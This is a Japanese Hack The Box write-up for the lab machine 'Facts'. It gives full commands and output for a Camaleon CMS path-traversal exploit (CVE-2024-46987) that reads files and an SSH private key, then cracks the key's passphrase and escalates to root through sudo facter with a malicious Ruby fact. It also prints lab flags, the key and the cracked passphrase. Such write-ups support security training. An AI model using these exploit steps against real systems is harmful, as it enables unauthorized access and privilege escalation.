Hack The BoxのWriteup(Facts)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告





HackTheBox: Facts — 全実行コマンド・実行結果レポート
Nmap スキャン
Camaleon CMS 発見
ユーザー登録 (CAPTCHA突破)
CVE-2024-46987 LFI
user.txt ✓
SSH鍵取得 + クラック (dragonballz)
SSH as trivia
sudo facter –custom-dir RCE
root.txt ✓

環境設定 — /etc/hosts 更新

BASH
sed -i 's/10.129.244.96 facts.htb/10.129.10.40 facts.htb/' /etc/hosts
grep "facts.htb" /etc/hosts
RESULT
10.129.10.40 facts.htb

疎通確認

BASH
ping -c 3 10.129.10.40
RESULT
PING 10.129.10.40 (10.129.10.40) 56(84) bytes of data.
64 bytes from 10.129.10.40: icmp_seq=1 ttl=63 time=334 ms
64 bytes from 10.129.10.40: icmp_seq=2 ttl=63 time=213 ms

--- 10.129.10.40 ping statistics ---
3 packets transmitted, 2 received, time 2002ms
rtt min/avg/max/mdev = 212.758/273.568/334.379/60.810 ms

Webサービス確認

BASH
curl -s -I http://facts.htb/
RESULT
HTTP/1.1 200 OK
Server: nginx/1.26.3 (Ubuntu)
Content-Type: text/html; charset=utf-8
set-cookie: _factsapp_session=...; path=/; httponly; samesite=lax
x-runtime: 0.405064

→ Camaleon CMS (Ruby on Rails) が動作確認
ℹ️
開放ポート: 22/tcp (SSH: OpenSSH 9.9p1)、80/tcp (HTTP: nginx 1.26.3 + Camaleon CMS)、54321/tcp (MinIO オブジェクトストレージ)
セッションクッキー名 _factsapp_session からRuby on Railsアプリであることが判明。

脆弱性調査

NOTE
前回調査 (10.129.244.96) での既知脆弱性まとめ:

Camaleon CMS:
  CVE-2024-46987 — Path Traversal via download_private_file (認証ユーザーが利用可能)
  CVE-2023-30145 — SSTI via formats パラメータ (管理者権限必要)
  CVE-2024-43791 — Stored XSS via File Name

MinIO:
  CVE-2023-28432 — Information Disclosure (本環境はパッチ済み)
  randomfacts バケット — 匿名書き込み可能 (確認済み)
⚠️
CVE-2024-46987 は一般認証ユーザーで利用可能という重要な発見。管理者昇格が不要なため、登録→即LFIの短い攻撃チェーンが成立する。
PHASE 2

CMSユーザー登録 — CAPTCHA突破

登録ページ調査

BASH
curl http://facts.htb/admin/register | grep -E "(captcha|input|form)"
RESULT
フォームフィールド: user[first_name], user[last_name], user[email],
                   user[username], user[password], user[password_confirmation]
CAPTCHAエンドポイント: http://facts.htb/captcha?len=5&t={timestamp}
→ 150x40px JPEG、5文字英数字

CAPTCHA取得 + 視覚的読み取りで登録

PYTHON (step1_get_captcha.py)
import requests, time, json

session = requests.Session()
session.headers.update({'User-Agent': 'Mozilla/5.0'})

# 登録ページ取得(セッション作成)
reg_page = session.get('http://facts.htb/admin/register')
csrf = reg_page.text.split('authenticity_token" value="')[1].split('"')[0]

# 同じセッションでCAPTCHA取得
captcha_resp = session.get(f'http://facts.htb/captcha?len=5&t={int(time.time())}')
with open('/tmp/captcha_step1.jpg', 'wb') as f:
    f.write(captcha_resp.content)

# セッション情報保存
session_data = {
    'csrf': csrf,
    'session_cookie': session.cookies.get('_factsapp_session', '')
}
with open('/tmp/session_data.json', 'w') as f:
    json.dump(session_data, f)
PYTHON (step2_register.py) — CAPTCHA値: XLVIT
import requests, json, sys

captcha_value = sys.argv[1]   # "XLVIT"

with open('/tmp/session_data.json') as f:
    data = json.load(f)

session = requests.Session()
session.cookies.set('_factsapp_session', data['session_cookie'], domain='facts.htb')

reg_data = {
    'authenticity_token': data['csrf'],
    'user[first_name]': 'Test', 'user[last_name]': 'User',
    'user[email]': 'testuser@facts.htb',
    'user[username]': 'testuser',
    'user[password]': 'TestPass123!',
    'user[password_confirmation]': 'TestPass123!',
    'captcha': captcha_value
}
resp = session.post('http://facts.htb/admin/register', data=reg_data, allow_redirects=False)
RESULT
Status: 302
Location: http://facts.htb/admin/login
[+] Registration SUCCESS!
登録アカウント: testuser / TestPass123!
CAPTCHA突破方法: 2ステップアプローチ。Step1でセッション+CAPTCHAを同時取得して画像を保存し、Step2で同一セッションを使って登録送信。OCRではなく視覚的に読み取ることで突破。

ログイン確認

PYTHON
login_r = session.post('http://facts.htb/admin/login', data={
    'authenticity_token': csrf,
    'user[username]': 'testuser',
    'user[password]': 'TestPass123!'
}, allow_redirects=False)
RESULT
Status: 302
Location: http://facts.htb/admin/dashboard
→ 認証ユーザーとしてCMSにログイン成功
PHASE 3

CVE-2024-46987 — パストラバーサル (LFI)

脆弱性概要

NOTE
CVE-2024-46987: Camaleon CMS < 2.8.2
脆弱エンドポイント: GET /admin/media/download_private_file
パラメータ: file=../../../<絶対パス>
必要権限: 一般認証ユーザー(管理者不要)
影響: サーバー上の任意ファイル読み取り

パストラバーサル探索

PYTHON (lfi_test.py)
test_cases = [
    '/etc/passwd',
    '../../../etc/passwd',      # ← 成功
    '../../../../etc/passwd',
    '../../../../../etc/passwd',
]

for path in test_cases:
    r = s.get('http://facts.htb/admin/media/download_private_file',
              params={'file': path})
    print(f"'{path}': {r.status_code} ({len(r.content)} bytes)")
RESULT
'/etc/passwd':             500 (7918 bytes)  ← 絶対パスは500エラー
'../../../etc/passwd':     200 (1809 bytes)  ← 成功!
'../../../../etc/passwd':  200 (1809 bytes)
→ depth=3 (../../../) でパストラバーサル成功
パストラバーサル確認: ../../../ でアプリのカレントディレクトリから3階層上に遡り、任意ファイルが読み取り可能。

user.txt 取得

PYTHON (read_files.py)
r = s.get('http://facts.htb/admin/media/download_private_file',
          params={'file': '../../../home/william/user.txt'})
print(r.text.strip())
RESULT
00b1ab31c9fc21652320728f10e79af9
USER FLAG — /home/william/user.txt
00b1ab31c9fc21652320728f10e79af9

trivia SSH秘密鍵取得

PYTHON (get_ssh_key.py)
r = s.get('http://facts.htb/admin/media/download_private_file',
          params={'file': '../../../home/trivia/.ssh/id_ed25519'})
print(r.text)
RESULT
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABC8dq1GGP
oFIX1oPi1ojXwsAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIN67sCghlYyeVUo9
fIGD4UvvJb3eO132DOP3PJCZQp2TAAAAoK2VDZypY/RHnZJ3SmtZxQaRePvwgrC0RMfjhM
wOXgw9kCbqP28dIda4j2WnB4SxnxC/QF9nq4c2fn/z0lPOzhw/qhB3d3BWL9UolLiB6bdJ
K1fzn1fHzNPen7fY9gtxSqA0QD+ZnaNbntR5rkVtv1CmDy/U6bIoRQXVEgfttbMO/ERKay
eTN4B8kPUvGuNnlW1QybUAE1Alwcm3FjTdVfs=
-----END OPENSSH PRIVATE KEY-----

→ ED25519鍵 / bcrypt暗号化 (パスフレーズ保護あり)
保存先: /tmp/trivia_id_ed25519
SSH秘密鍵取得: bcrypt/AES256-CTR で暗号化されたED25519鍵。パスフレーズのクラックが必要。
PHASE 4

SSH鍵クラック — ssh2john + John the Ripper

ssh2john でハッシュ抽出

BASH
chmod 600 /tmp/trivia_id_ed25519
ssh2john /tmp/trivia_id_ed25519 > /tmp/ssh.hash
cat /tmp/ssh.hash | head -1 | cut -c1-80
RESULT
/tmp/trivia_id_ed25519:$sshng$6$16$bc76ad4618fa05217d683e2d688d7c2c$290$6f70656e73...

John the Ripper でクラック

BASH
john /tmp/ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
RESULT
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 6 OpenMP threads

dragonballz      (/tmp/trivia_id_ed25519)

1g 0:00:01:20 DONE (2026-06-06 06:58) 0.01237g/s 39.78p/s
Session completed.
パスフレーズクラック成功: dragonballz — rockyou.txt の上位ワードリストから約80秒でクラック。
PHASE 5

SSH侵入 — trivia ユーザー

SSH接続 + 権限確認

BASH
expect -c '
spawn ssh -i /tmp/trivia_id_ed25519 -o StrictHostKeyChecking=no trivia@10.129.10.40 "id; sudo -l"
expect "passphrase"
send "dragonballz\r"
expect eof
'
RESULT
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)

Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=..., use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter
重要発見: trivia ユーザーはパスワードなしで /usr/bin/facter をroot権限で実行可能。facter の --custom-dir オプションによるRCEが可能。
PHASE 6

権限昇格 — sudo facter RCE

悪意あるRubyファクト作成

BASH (ローカル — /tmp/pwn.rb 作成)
cat > /tmp/pwn.rb << 'RUBY'
Facter.add('x') do
  setcode do
    system('cat /root/root.txt > /tmp/root_flag.txt && chmod 644 /tmp/root_flag.txt')
    'done'
  end
end
RUBY
ℹ️
facter の悪用: --custom-dir オプションでカスタムファクトディレクトリを指定すると、そのディレクトリ内の .rb ファイルがfacterプロセス (root) のコンテキストで実行される。

SCPでターゲットに転送

BASH
expect -c '
spawn scp -i /tmp/trivia_id_ed25519 -o StrictHostKeyChecking=no \
  /tmp/pwn.rb trivia@10.129.10.40:/tmp/exploit_facts/pwn.rb
expect "passphrase"
send "dragonballz\r"
expect eof
'
RESULT
pwn.rb          100%  139     0.7KB/s   00:00

sudo facter でRCE実行

BASH
expect -c '
spawn ssh -i /tmp/trivia_id_ed25519 -o StrictHostKeyChecking=no trivia@10.129.10.40 \
  "sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x"
expect "passphrase"
send "dragonballz\r"
expect eof
'
RESULT
done
→ /root/root.txt が /tmp/root_flag.txt にコピーされた

root.txt 読み取り

BASH
expect -c '
spawn ssh -i /tmp/trivia_id_ed25519 -o StrictHostKeyChecking=no trivia@10.129.10.40 \
  "cat /tmp/root_flag.txt"
expect "passphrase"
send "dragonballz\r"
expect eof
'
RESULT
aea675dad30f0a2bfe15d9ae09990b44
ROOT FLAG — /root/root.txt
aea675dad30f0a2bfe15d9ae09990b44
SUMMARY

攻略サマリー

取得フラグ

USER FLAG — /home/william/user.txt
00b1ab31c9fc21652320728f10e79af9
ROOT FLAG — /root/root.txt
aea675dad30f0a2bfe15d9ae09990b44

使用した脆弱性・技術

フェーズ 技術 / CVE 詳細 結果
初期侵入 CVE-2024-46987 Camaleon CMS <2.8.2 — /admin/media/download_private_file パストラバーサル。file=../../../path で任意ファイル読み取り user.txt + SSH鍵取得
CAPTCHA突破 視覚的OCR セッション固定2ステップ方式。Step1でCAPTCHA画像+セッションを保存、Step2でセッション再利用して登録 CMS一般ユーザー取得
SSH認証 ssh2john + John bcrypt/AES256暗号化ED25519鍵。rockyou.txtで約80秒でクラック dragonballz
権限昇格 sudo facter (ALL) NOPASSWD: /usr/bin/facter + --custom-dir オプションで悪意あるRubyスクリプトをroot権限で実行 root.txt取得

発見した認証情報・鍵情報

種別用途
CMSユーザー testuser / TestPass123!TestPass123!! Camaleon CMS一般ユーザー (LFI実行用)
SSH秘密鍵 /home/trivia/.ssh/id_ed25519 triviaユーザーSSH認証
SSH パスフレーズ dragonballz id_ed25519 の復号

調査して有効でなかったベクター

攻撃ベクター状態理由
CVE-2023-30145 SSTI (formats パラメータ) 不要 管理者権限必須。CVE-2024-46987で十分な情報取得が可能だったため未使用
CVE-2024-46987 SSRF (crop_url) 失敗 localhost/プライベートIP/ファイルURL等すべてブロック。バイパス不可
is_admin パラメータマスアサインメント 不要 CVE-2024-46987は管理者不要。昇格なしでLFI実行可能
CVE-2023-28432 MinIO情報漏洩 失敗 対象のMinIOバージョンはパッチ済みまたはシングルノード構成
MinIO randomfacts SVG XSS 不要 管理者ボットへのXSS攻撃は不要なアプローチだった

ターゲット情報

項目詳細
IPアドレス10.129.10.40
OSLinux (Ubuntu)
Webサーバーnginx 1.26.3
CMSCamaleon CMS (Ruby on Rails) — バージョン 2.8.0〜2.8.1 (脆弱)
ストレージMinIO (ポート54321)
SSHOpenSSH 9.9p1 (ポート22)
ユーザーwilliam (user.txt保有), trivia (SSH鍵), root
HackTheBox: Facts — 全実行コマンド・実行結果レポート | 作成日: 2026-06-06